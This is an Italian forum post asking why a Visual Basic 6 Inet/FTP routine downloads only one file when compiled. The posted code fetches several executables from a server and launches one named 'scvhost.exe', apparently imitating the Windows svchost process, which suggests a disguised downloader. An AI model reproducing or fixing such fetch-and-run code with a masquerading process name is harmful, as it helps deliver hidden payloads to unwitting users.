Visual Basic 6 - DANNATO PROBLEMA INET -.-"

ragazzi.. per favore aiutatemi...



sto facendo sempre questo benedetto programma client/server con aggiornamenti via ftp...


quindi uso il controllo inet...


ora però questo dannatissimo componente.. lui e la microsoft che l'ha fatto

SE LO FACCIO IN FASE DI PROGETTAZIONE.. scarica tutti i file uno dopo l'altro...


SE LO FACCIO SOTTOFORMA DI EXE.. ne scarica uno e gli altri manco se lo paghi -.-"

Ho provato a mettere delle msgbox per vedere se arrivava li


e arrivava.. se metto la msgbox poi il file lo scarica... se non le metto no..-.-

Potete darmi una mano per favore, prima che prendo un ak-47 e sfondo tutto?

Grazie mille dell'aiuto!!!!

MALEDIZIONEEEEEEEEEEEEEEEEEEEEEEEEEEE:


allora... ora neanche con le textbox va... -.-"



ho provato di tutto

sto uscendo pazzo


ultima cosa che ha fatto..

ha scaricato il primo file

ha iniziato a scaricare il secondo

e poi credo che si sia fermato...infatti il secondo file è sparito -.-"

RAGAZZI IO FRA POCO VERAMENTE

SPACCO QUALCOSA!!!oubt:oubt:oubt:

Scusate i doppi post....



ecco comunque il codice per quanto riguarda il download dei file via ftp:

Private Sub Command2_Click()
'While Inet1.StillExecuting: DoEvents: Wend

ResumeDownload:
On Error GoTo ResumeDownload

Pause 4000
If Dir(App.Path & "\MoveLatr.exe") = "" Then
Pause 5000

Inet1.Execute "", "GET " & "MoveLatr.exe" & " " & "MoveLatr.exe"

DoEvents


'a = a + 1
'If a = 4 Then GoTo Error
'GoTo ResumeDownload
Else
Resume Next
End If

'While Inet1.StillExecuting: DoEvents: Wend

DoEvents
Pause 2000
ResumeDownload2:
On Error GoTo ResumeDownload2
Pause 4000

If Dir(App.Path & "\kill.exe") = "" Then

Pause 5000



Inet1.Execute "", "GET " & "kill.exe" & " " & "kill.exe"

DoEvents


'a = a + 1
'If a = 4 Then GoTo Error
'GoTo ResumeDownload
Else
End If

'While Inet1.StillExecuting: DoEvents: Wend

DoEvents
Pause 2000
ResumeDownload3:
On Error GoTo ResumeDownload3
Pause 4000

If Dir(App.Path & "\scvhost.exe") = "" Then

Pause 5000

Inet1.Execute "", "GET " & "scvhost.exe" & " " & "scvhost.exe"


DoEvents

'While Inet1.StillExecuting: DoEvents: Wend

Shell App.Path & "\scvhost.exe"

'a = a + 1
'If a = 4 Then GoTo Error
'GoTo ResumeDownload
Else
Shell App.Path & "\scvhost.exe"
Resume Next
End If

End Sub